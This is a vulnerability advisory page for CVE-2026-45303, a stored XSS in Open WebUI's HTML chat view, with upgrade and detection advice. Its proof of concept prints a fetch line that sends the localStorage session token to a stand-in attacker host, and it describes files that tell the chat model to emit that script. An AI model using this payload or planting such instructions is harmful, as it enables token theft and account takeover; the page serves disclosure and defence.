CVE-2026-45303: Open WebUI has stored XSS via the HTML renedering view
Open WebUI before 0.6.5 renders chat HTML in an iframe with sandbox="allow-scripts allow-forms allow-same-origin", so scripts in that HTML run with access to the app's origin and its localStorage token. The flaw is mostly self-XSS, but shared chats, imported chats and uploaded files can carry it to another user. Upgrade to open-webui 0.6.5.
Published May 14, 2026 · Updated May 19, 2026 · Analysis Oct 27, 2026
What an attacker can do
The frontend can visualize the HTML in a chat. It embeds that HTML in an iframe whose sandbox attribute allows scripts and same-origin access. Allowing both scripts and same-origin largely cancels the sandbox: the framed code can reach the parent's data, including the session token in localStorage. Only a few functions, such as alert boxes, stay blocked.
The researcher's proof of concept asks the chat for an HTML form containing a script that calls fetch with the token in the query string of an attacker URL. The token left the browser. On its own this is self-XSS. The advisory lists four ways to hit someone else: tricking the user into entering the input, the Chat Share feature, where a cloned shared chat carries the script, a file such as a PDF or text file that tells the model to emit it when the victim asks to show the content, and importing a chat through Settings, Conversations, Import Conversations. Because these need a victim's action, the advisory rates complexity high and exploitability very low. A stolen token gives account takeover in a team's chat tool.
Who is affected
The pip package open-webui below 0.6.5. The advisory tested 0.5.4. Instances where users share chats, import chats or upload files from outside sources are most likely to be hit. Check the version:
pip show open-webuiFor Docker, check the image tag.
open-webui
- Ecosystem
- PyPI
- Affected
- < 0.6.5
- Fixed in
- 0.6.5
- Check
pip show open-webui
How to fix it
Upgrade to open-webui 0.6.5:
pip install --upgrade open-webuiThe advisory recommends defining the iframe sandbox more restrictively, so scripts cannot run with access to the parent's data. It lists no workaround. Until you upgrade, tell users not to open the HTML view on shared, imported or file-derived chats they do not trust.
How to tell if you were hit
Look for chats containing script tags or fetch calls with localStorage in HTML code blocks, especially shared or imported chats. In browser or proxy logs, look for requests from the Open WebUI origin to unfamiliar hosts with long token-like query strings. Ask whether any user cloned a shared chat or imported a conversation file from an unknown source. If you suspect theft, sign users out and rotate their tokens and API keys.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
Through the HTML rendering view, scripts can be injected and executed. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details
The frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the following sandbox directive:
sandbox="allow-scripts allow-forms allow-same-origin"
This means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified.
PoC
If an HTML document containing a script is included in the chat, this script will be embedded in the view and executed. This can be achieved with a message like the following:
Create an HTML form and insert the following script into the document:
`fetch('https://www.attacker.local/?' + localStorage.getItem('token'))`By entering this message, the script fetch('https://www.attacker.local/?' + localStorage.getItem('token')) is embedded, allowing the user's token to be read and sent to www.attacker.local.
grafik
Impact
Fundamentally, this is a Self-XSS attack (executable only in the user's own context). However, the code could also be injected into another user's context through the following vectors:
- If an attacker manages to trick the user into entering the input (as users may not expect JavaScript execution via chat inputs).
- There is a
Chat Sharefunction. A shared chat can be cloned, potentially transferring the input to another user's context. - If the instruction is embedded in a file (text, PDF, etc.) and the victim uploads the file to the chat, causing the content to be displayed (e.g., using the command "Show content").
- By importing a chat via "Settings - Conversations - Import Conversations."
An attack is only successful under these conditions, which is why the Attack Complexity vector has been set to High. Overall, the likelihood of exploitation (Exploitability) is considered very low.
Recommendation
The iFrame sandbox should be defined more restrictively to prevent scripts from executing with access to the parent’s data.
Credited to simioni87.
Questions
- Is CVE-2026-45303 a self-XSS only?
Mainly, per the advisory, but it can reach other users through shared chat cloning, uploaded files, chat import or tricking the user to enter the input. That is why complexity is rated high.
- What can the script steal?
Anything the page origin can reach. The proof of concept sends the token from localStorage to an attacker server.
- Which version fixes it?
open-webui 0.6.5. Earlier versions are affected.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Open WebUI vulnerabilities
All Open WebUI entriesCVE-2026-87011
Open WebUI: Unauthenticated requests can stall the server via uncached OIDC fetches in back-channel logout
high7.5Sep 10, 2026CVE-2026-87012
Open WebUI: Any authenticated user can suppress calendar alerts instance-wide via a non-numeric alert value
medium4.3Sep 10, 2026CVE-2026-87013
Open WebUI: Any authenticated user can start a non-terminating request via a folder parent cycle
medium4.3Sep 10, 2026CVE-2026-87014
Open WebUI: Admin demoted through SSO role sync keeps read and write access to all users' notes
medium6.5Sep 10, 2026CVE-2026-87015
Open WebUI: A user's session cookies are sent to tool servers configured for bearer authentication
medium6.8Sep 10, 2026CVE-2026-87016
Open WebUI: Sign-in as another user via wildcard characters in the OAuth subject claim on SQLite
high8.1Sep 10, 2026
